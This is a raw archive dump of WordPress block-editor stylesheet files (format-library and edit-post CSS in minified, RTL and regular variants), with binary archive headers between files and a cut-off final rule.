.components-popover__content{padding:1rem;width:auto}PK1Xd[��ӥ�!dist/format-library/style.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-format-toolbar__image-popover{z-index:159990}.block-editor-format-toolbar__image-popover .block-editor-format-toolbar__image-container-content{padding:16px;width:260px}.block-editor-format-toolbar__link-container-content{align-items:center;display:flex}.block-editor-format-toolbar__link-container-value{flex-grow:1;flex-shrink:1;margin:7px;max-width:500px;min-width:150px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.block-editor-format-toolbar__link-container-value.has-invalid-link{color:#cc1818}.format-library__inline-color-popover [role=tabpanel]{padding:16px;width:260px}.block-editor-format-toolbar__language-popover .components-popover__content{padding:1rem;width:auto}PK1Xd[�H�++!dist/format-library/style-rtl.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.block-editor-format-toolbar__image-popover{
  z-index:159990;
}
.block-editor-format-toolbar__image-popover .block-editor-format-toolbar__image-container-content{
  padding:16px;
  width:260px;
}

.block-editor-format-toolbar__link-container-content{
  align-items:center;
  display:flex;
}

.block-editor-format-toolbar__link-container-value{
  flex-grow:1;
  flex-shrink:1;
  margin:7px;
  max-width:500px;
  min-width:150px;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.block-editor-format-toolbar__link-container-value.has-invalid-link{
  color:#cc1818;
}

.format-library__inline-color-popover [role=tabpanel]{
  padding:16px;
  width:260px;
}

.block-editor-format-toolbar__language-popover .components-popover__content{
  padding:1rem;
  width:auto;
}PK1Xd[�H�++dist/format-library/style.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.block-editor-format-toolbar__image-popover{
  z-index:159990;
}
.block-editor-format-toolbar__image-popover .block-editor-format-toolbar__image-container-content{
  padding:16px;
  width:260px;
}

.block-editor-format-toolbar__link-container-content{
  align-items:center;
  display:flex;
}

.block-editor-format-toolbar__link-container-value{
  flex-grow:1;
  flex-shrink:1;
  margin:7px;
  max-width:500px;
  min-width:150px;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.block-editor-format-toolbar__link-container-value.has-invalid-link{
  color:#cc1818;
}

.format-library__inline-color-popover [role=tabpanel]{
  padding:16px;
  width:260px;
}

.block-editor-format-toolbar__language-popover .components-popover__content{
  padding:1rem;
  width:auto;
}PK1Xd[�?����dist/edit-post/classic-rtl.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.editor-styles-wrapper :where(:not(.is-layout-flex,.is-layout-grid))>.wp-block{
  margin-left:auto;
  margin-right:auto;
}

html :where(.editor-styles-wrapper){
  padding:8px;
}
html :where(.editor-styles-wrapper) .block-editor-block-list__layout.is-root-container>.wp-block[data-align=full]{
  margin-left:-8px;
  margin-right:-8px;
}

html :where(.wp-block){
  margin-bottom:28px;
  margin-top:28px;
  max-width:840px;
}
html :where(.wp-block)[data-align=wide]{
  max-width:1100px;
}
html :where(.wp-block)[data-align=full]{
  max-width:none;
}
html :where(.wp-block)[data-align=left],html :where(.wp-block)[data-align=right]{
  height:0;
  width:100%;
}
html :where(.wp-block)[data-align=left]:before,html :where(.wp-block)[data-align=right]:before{
  content:none;
}
html :where(.wp-block)[data-align=left]>*{
  float:left;
  margin-right:2em;
}
html :where(.wp-block)[data-align=right]>*{
  float:right;
  margin-left:2em;
}
html :where(.wp-block)[data-align=full],html :where(.wp-block)[data-align=wide]{
  clear:both;
}

.wp-block-group>[data-align=full]{
  margin-left:auto;
  margin-right:auto;
}

.wp-block-group.has-background>[data-align=full]{
  margin-right:-30px;
  width:calc(100% + 60px);
}
[data-align=full] .wp-block-group>.wp-block{
  padding-left:14px;
  padding-right:14px;
}
@media (min-width:600px){
  [data-align=full] .wp-block-group>.wp-block{
    padding-left:0;
    padding-right:0;
  }
}
[data-align=full] .wp-block-group>[data-align=full]{
  max-width:none;
  padding-left:0;
  padding-right:0;
  right:0;
  width:100%;
}
[data-align=full] .wp-block-group.has-background>[data-align=full]{
  width:calc(100% + 60px);
}PK1Xd[�.�8��dist/edit-post/classic.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.editor-styles-wrapper :where(:not(.is-layout-flex,.is-layout-grid))>.wp-block{
  margin-left:auto;
  margin-right:auto;
}

html :where(.editor-styles-wrapper){
  padding:8px;
}
html :where(.editor-styles-wrapper) .block-editor-block-list__layout.is-root-container>.wp-block[data-align=full]{
  margin-left:-8px;
  margin-right:-8px;
}

html :where(.wp-block){
  margin-bottom:28px;
  margin-top:28px;
  max-width:840px;
}
html :where(.wp-block)[data-align=wide]{
  max-width:1100px;
}
html :where(.wp-block)[data-align=full]{
  max-width:none;
}
html :where(.wp-block)[data-align=left],html :where(.wp-block)[data-align=right]{
  height:0;
  width:100%;
}
html :where(.wp-block)[data-align=left]:before,html :where(.wp-block)[data-align=right]:before{
  content:none;
}
html :where(.wp-block)[data-align=left]>*{
  float:left;
  margin-right:2em;
}
html :where(.wp-block)[data-align=right]>*{
  float:right;
  margin-left:2em;
}
html :where(.wp-block)[data-align=full],html :where(.wp-block)[data-align=wide]{
  clear:both;
}

.wp-block-group>[data-align=full]{
  margin-left:auto;
  margin-right:auto;
}

.wp-block-group.has-background>[data-align=full]{
  margin-left:-30px;
  width:calc(100% + 60px);
}
[data-align=full] .wp-block-group>.wp-block{
  padding-left:14px;
  padding-right:14px;
}
@media (min-width:600px){
  [data-align=full] .wp-block-group>.wp-block{
    padding-left:0;
    padding-right:0;
  }
}
[data-align=full] .wp-block-group>[data-align=full]{
  left:0;
  max-width:none;
  padding-left:0;
  padding-right:0;
  width:100%;
}
[data-align=full] .wp-block-group.has-background>[data-align=full]{
  width:calc(100% + 60px);
}PK1Xd[$�F�dist/edit-post/classic.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.editor-styles-wrapper :where(:not(.is-layout-flex,.is-layout-grid))>.wp-block{margin-left:auto;margin-right:auto}html :where(.editor-styles-wrapper){padding:8px}html :where(.editor-styles-wrapper) .block-editor-block-list__layout.is-root-container>.wp-block[data-align=full]{margin-left:-8px;margin-right:-8px}html :where(.wp-block){margin-bottom:28px;margin-top:28px;max-width:840px}html :where(.wp-block)[data-align=wide]{max-width:1100px}html :where(.wp-block)[data-align=full]{max-width:none}html :where(.wp-block)[data-align=left],html :where(.wp-block)[data-align=right]{height:0;width:100%}html :where(.wp-block)[data-align=left]:before,html :where(.wp-block)[data-align=right]:before{content:none}html :where(.wp-block)[data-align=left]>*{
  /*!rtl:begin:ignore*/float:left;margin-right:2em
  /*!rtl:end:ignore*/}html :where(.wp-block)[data-align=right]>*{
  /*!rtl:begin:ignore*/float:right;margin-left:2em
  /*!rtl:end:ignore*/}html :where(.wp-block)[data-align=full],html :where(.wp-block)[data-align=wide]{clear:both}.wp-block-group>[data-align=full]{margin-left:auto;margin-right:auto}.wp-block-group.has-background>[data-align=full]{margin-left:-30px;width:calc(100% + 60px)}[data-align=full] .wp-block-group>.wp-block{padding-left:14px;padding-right:14px}@media (min-width:600px){[data-align=full] .wp-block-group>.wp-block{padding-left:0;padding-right:0}}[data-align=full] .wp-block-group>[data-align=full]{left:0;max-width:none;padding-left:0;padding-right:0;width:100%}[data-align=full] .wp-block-group.has-background>[data-align=full]{width:calc(100% + 60px)}PK1Xd[����*1*1 dist/edit-post/style-rtl.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}@media (min-width:782px){.edit-post-fullscreen-mode-close.components-button{align-items:center;align-self:stretch;background:#1e1e1e;border:none;border-radius:0;color:#fff;display:flex;height:60px;position:relative;width:60px}.edit-post-fullscreen-mode-close.components-button:active{color:#fff}.edit-post-fullscreen-mode-close.components-button:focus{box-shadow:none}.edit-post-fullscreen-mode-close.components-button:before{border-radius:4px;bottom:10px;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #1e1e1e;content:"";display:block;left:9px;position:absolute;right:9px;top:9px}}@media (min-width:782px) and (not (prefers-reduced-motion)){.edit-post-fullscreen-mode-close.components-button:before{transition:box-shadow .1s ease}}@media (min-width:782px){.edit-post-fullscreen-mode-close.components-button:hover:before{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #757575}.edit-post-fullscreen-mode-close.components-button.has-icon:hover:before{box-shadow:none}.edit-post-fullscreen-mode-close.components-button:focus:before{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #ffffff1a,inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}}.edit-post-fullscreen-mode-close.components-button .edit-post-fullscreen-mode-close_site-icon{border-radius:2px;height:36px;margin-top:-1px;object-fit:cover;width:36px}.show-icon-labels .editor-header .edit-post-fullscreen-mode-close.has-icon{width:60px}.show-icon-labels .editor-header .edit-post-fullscreen-mode-close.has-icon svg{display:block}.show-icon-labels .editor-header .edit-post-fullscreen-mode-close.has-icon:after{content:none}.edit-post-meta-boxes-main{background-color:#fff;display:flex;filter:drop-shadow(0 -1px rgba(0,0,0,.133));flex-direction:column;outline:1px solid #0000;overflow:hidden}.edit-post-meta-boxes-main.is-resizable{padding-block-start:24px}.edit-post-meta-boxes-main__presenter{box-shadow:0 1px #ddd;display:flex;outline:1px solid #0000;position:relative;z-index:1}.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button,.is-toggle-only>.edit-post-meta-boxes-main__presenter{appearance:none;background-color:initial;border:none;outline:none;padding:0}.is-toggle-only>.edit-post-meta-boxes-main__presenter{align-items:center;cursor:pointer;flex-shrink:0;height:32px;justify-content:space-between;padding-inline:24px 12px}.is-toggle-only>.edit-post-meta-boxes-main__presenter:is(:hover,:focus-visible){color:var(--wp-admin-theme-color)}.is-toggle-only>.edit-post-meta-boxes-main__presenter:focus-visible:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";inset:var(--wp-admin-border-width-focus);outline:2px solid #0000;position:absolute}.is-toggle-only>.edit-post-meta-boxes-main__presenter>svg{fill:currentColor}.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter{inset:0 0 auto}.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button{cursor:inherit;height:24px;margin:auto;width:64px}.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button:before{background-color:#ddd;border-radius:2px;content:"";height:4px;inset-block:calc(50% - 2px) auto;outline:2px solid #0000;outline-offset:-2px;position:absolute;transform:translateX(50%);width:inherit}@media not (prefers-reduced-motion){.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button:before{transition:width .3s ease-out}}.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter:is(:hover,:focus-within)>button:before{background-color:var(--wp-admin-theme-color);width:80px}@media (pointer:coarse){.is-resizable.edit-post-meta-boxes-main{padding-block-start:32px}.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button{height:32px}}.edit-post-meta-boxes-main__liner{isolation:isolate;overflow:auto}.edit-post-layout__metaboxes{clear:both}.has-metaboxes .interface-interface-skeleton__content:has(.edit-post-meta-boxes-main) .editor-visual-editor{flex-basis:0%;flex-shrink:1}.has-metaboxes .editor-visual-editor.is-iframed{isolation:isolate}.components-editor-notices__snackbar{bottom:24px;left:0;padding-left:24px;padding-right:24px;position:fixed}.edit-post-layout .components-editor-notices__snackbar{right:0}@media (min-width:783px){.edit-post-layout .components-editor-notices__snackbar{right:160px}}@media (min-width:783px){.auto-fold .edit-post-layout .components-editor-notices__snackbar{right:36px}}@media (min-width:961px){.auto-fold .edit-post-layout .components-editor-notices__snackbar{right:160px}}.folded .edit-post-layout .components-editor-notices__snackbar{right:0}@media (min-width:783px){.folded .edit-post-layout .components-editor-notices__snackbar{right:36px}}body.is-fullscreen-mode .edit-post-layout .components-editor-notices__snackbar{right:0!important}.edit-post-meta-boxes-area{position:relative}.edit-post-meta-boxes-area .inside,.edit-post-meta-boxes-area__container{box-sizing:initial}.edit-post-meta-boxes-area input,.edit-post-meta-boxes-area textarea{box-sizing:border-box}.edit-post-meta-boxes-area .postbox-header{border-bottom:0;border-top:1px solid #ddd}.edit-post-meta-boxes-area #poststuff{margin:0 auto;min-width:auto;padding-top:0}.edit-post-meta-boxes-area #poststuff .stuffbox>h3,.edit-post-meta-boxes-area #poststuff h2.hndle,.edit-post-meta-boxes-area #poststuff h3.hndle{box-sizing:border-box;color:inherit;font-weight:600;outline:none;padding:0 24px;position:relative;width:100%}.edit-post-meta-boxes-area .postbox{border:0;color:inherit;margin-bottom:0}.edit-post-meta-boxes-area .postbox>.inside{color:inherit;margin:0;padding:0 24px 24px}.edit-post-meta-boxes-area .postbox .handlediv{height:44px;width:44px}.edit-post-meta-boxes-area.is-loading:before{background:#0000;bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:1}.edit-post-meta-boxes-area .components-spinner{left:20px;position:absolute;top:10px;z-index:5}.edit-post-meta-boxes-area .is-hidden{display:none}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]{border:1px solid #757575}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:checked{background:#fff;border-color:#757575}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:before{margin:-3px -4px}.edit-post-meta-boxes-area__clear{clear:both}.edit-post-welcome-guide,.edit-template-welcome-guide{width:312px}.edit-post-welcome-guide__image,.edit-template-welcome-guide__image{background:#00a0d2;margin:0 0 16px}.edit-post-welcome-guide__image>img,.edit-template-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-post-welcome-guide__heading,.edit-template-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-post-welcome-guide__text,.edit-template-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 24px;padding:0 32px}.edit-post-welcome-guide__inserter-icon,.edit-template-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-template-welcome-guide .components-button svg{fill:#fff}body.js.block-editor-page{background:#fff}body.js.block-editor-page #wpcontent{padding-right:0}body.js.block-editor-page #wpbody-content{padding-bottom:0}body.js.block-editor-page #wpbody-content>div:not(.block-editor):not(#screen-meta),body.js.block-editor-page #wpfooter{display:none}body.js.block-editor-page .a11y-speak-region{right:-1px;top:-1px}body.js.block-editor-page ul#adminmenu a.wp-has-current-submenu:after,body.js.block-editor-page ul#adminmenu>li.current>a.current:after{border-left-color:#fff}body.js.block-editor-page .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}.block-editor-page #wpwrap{overflow-y:auto}@media (min-width:782px){.block-editor-page #wpwrap{overflow-y:initial}}.edit-post-visual-editor.is-iframed,.editor-header,.editor-post-publish-panel,.editor-sidebar,.editor-text-editor{box-sizing:border-box}.edit-post-visual-editor.is-iframed *,.edit-post-visual-editor.is-iframed :after,.edit-post-visual-editor.is-iframed :before,.editor-header *,.editor-header :after,.editor-header :before,.editor-post-publish-panel *,.editor-post-publish-panel :after,.editor-post-publish-panel :before,.editor-sidebar *,.editor-sidebar :after,.editor-sidebar :before,.editor-text-editor *,.editor-text-editor :after,.editor-text-editor :before{box-sizing:inherit}@media (min-width:600px){.block-editor__container{bottom:0;left:0;min-height:calc(100vh - 46px);position:absolute;right:0;top:0}}@media (min-width:782px){.block-editor__container{min-height:calc(100vh - 32px)}body.is-fullscreen-mode .block-editor__container{min-height:100vh}}.block-editor__container img{height:auto;max-width:100%}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}PK1Xd[]�%1%1dist/edit-post/style.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}@media (min-width:782px){.edit-post-fullscreen-mode-close.components-button{align-items:center;align-self:stretch;background:#1e1e1e;border:none;border-radius:0;color:#fff;display:flex;height:60px;position:relative;width:60px}.edit-post-fullscreen-mode-close.components-button:active{color:#fff}.edit-post-fullscreen-mode-close.components-button:focus{box-shadow:none}.edit-post-fullscreen-mode-close.components-button:before{border-radius:4px;bottom:10px;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #1e1e1e;content:"";display:block;left:9px;position:absolute;right:9px;top:9px}}@media (min-width:782px) and (not (prefers-reduced-motion)){.edit-post-fullscreen-mode-close.components-button:before{transition:box-shadow .1s ease}}@media (min-width:782px){.edit-post-fullscreen-mode-close.components-button:hover:before{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #757575}.edit-post-fullscreen-mode-close.components-button.has-icon:hover:before{box-shadow:none}.edit-post-fullscreen-mode-close.components-button:focus:before{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #ffffff1a,inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}}.edit-post-fullscreen-mode-close.components-button .edit-post-fullscreen-mode-close_site-icon{border-radius:2px;height:36px;margin-top:-1px;object-fit:cover;width:36px}.show-icon-labels .editor-header .edit-post-fullscreen-mode-close.has-icon{width:60px}.show-icon-labels .editor-header .edit-post-fullscreen-mode-close.has-icon svg{display:block}.show-icon-labels .editor-header .edit-post-fullscreen-mode-close.has-icon:after{content:none}.edit-post-meta-boxes-main{background-color:#fff;display:flex;filter:drop-shadow(0 -1px rgba(0,0,0,.133));flex-direction:column;outline:1px solid #0000;overflow:hidden}.edit-post-meta-boxes-main.is-resizable{padding-block-start:24px}.edit-post-meta-boxes-main__presenter{box-shadow:0 1px #ddd;display:flex;outline:1px solid #0000;position:relative;z-index:1}.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button,.is-toggle-only>.edit-post-meta-boxes-main__presenter{appearance:none;background-color:initial;border:none;outline:none;padding:0}.is-toggle-only>.edit-post-meta-boxes-main__presenter{align-items:center;cursor:pointer;flex-shrink:0;height:32px;justify-content:space-between;padding-inline:24px 12px}.is-toggle-only>.edit-post-meta-boxes-main__presenter:is(:hover,:focus-visible){color:var(--wp-admin-theme-color)}.is-toggle-only>.edit-post-meta-boxes-main__presenter:focus-visible:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";inset:var(--wp-admin-border-width-focus);outline:2px solid #0000;position:absolute}.is-toggle-only>.edit-post-meta-boxes-main__presenter>svg{fill:currentColor}.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter{inset:0 0 auto}.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button{cursor:inherit;height:24px;margin:auto;width:64px}.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button:before{background-color:#ddd;border-radius:2px;content:"";height:4px;inset-block:calc(50% - 2px) auto;outline:2px solid #0000;outline-offset:-2px;position:absolute;transform:translateX(-50%);width:inherit}@media not (prefers-reduced-motion){.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button:before{transition:width .3s ease-out}}.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter:is(:hover,:focus-within)>button:before{background-color:var(--wp-admin-theme-color);width:80px}@media (pointer:coarse){.is-resizable.edit-post-meta-boxes-main{padding-block-start:32px}.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button{height:32px}}.edit-post-meta-boxes-main__liner{isolation:isolate;overflow:auto}.edit-post-layout__metaboxes{clear:both}.has-metaboxes .interface-interface-skeleton__content:has(.edit-post-meta-boxes-main) .editor-visual-editor{flex-basis:0%;flex-shrink:1}.has-metaboxes .editor-visual-editor.is-iframed{isolation:isolate}.components-editor-notices__snackbar{bottom:24px;padding-left:24px;padding-right:24px;position:fixed;right:0}.edit-post-layout .components-editor-notices__snackbar{left:0}@media (min-width:783px){.edit-post-layout .components-editor-notices__snackbar{left:160px}}@media (min-width:783px){.auto-fold .edit-post-layout .components-editor-notices__snackbar{left:36px}}@media (min-width:961px){.auto-fold .edit-post-layout .components-editor-notices__snackbar{left:160px}}.folded .edit-post-layout .components-editor-notices__snackbar{left:0}@media (min-width:783px){.folded .edit-post-layout .components-editor-notices__snackbar{left:36px}}body.is-fullscreen-mode .edit-post-layout .components-editor-notices__snackbar{left:0!important}.edit-post-meta-boxes-area{position:relative}.edit-post-meta-boxes-area .inside,.edit-post-meta-boxes-area__container{box-sizing:initial}.edit-post-meta-boxes-area input,.edit-post-meta-boxes-area textarea{box-sizing:border-box}.edit-post-meta-boxes-area .postbox-header{border-bottom:0;border-top:1px solid #ddd}.edit-post-meta-boxes-area #poststuff{margin:0 auto;min-width:auto;padding-top:0}.edit-post-meta-boxes-area #poststuff .stuffbox>h3,.edit-post-meta-boxes-area #poststuff h2.hndle,.edit-post-meta-boxes-area #poststuff h3.hndle{box-sizing:border-box;color:inherit;font-weight:600;outline:none;padding:0 24px;position:relative;width:100%}.edit-post-meta-boxes-area .postbox{border:0;color:inherit;margin-bottom:0}.edit-post-meta-boxes-area .postbox>.inside{color:inherit;margin:0;padding:0 24px 24px}.edit-post-meta-boxes-area .postbox .handlediv{height:44px;width:44px}.edit-post-meta-boxes-area.is-loading:before{background:#0000;bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:1}.edit-post-meta-boxes-area .components-spinner{position:absolute;right:20px;top:10px;z-index:5}.edit-post-meta-boxes-area .is-hidden{display:none}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]{border:1px solid #757575}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:checked{background:#fff;border-color:#757575}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:before{margin:-3px -4px}.edit-post-meta-boxes-area__clear{clear:both}.edit-post-welcome-guide,.edit-template-welcome-guide{width:312px}.edit-post-welcome-guide__image,.edit-template-welcome-guide__image{background:#00a0d2;margin:0 0 16px}.edit-post-welcome-guide__image>img,.edit-template-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-post-welcome-guide__heading,.edit-template-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-post-welcome-guide__text,.edit-template-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 24px;padding:0 32px}.edit-post-welcome-guide__inserter-icon,.edit-template-welcome-guide__inserter-icon{margin:0 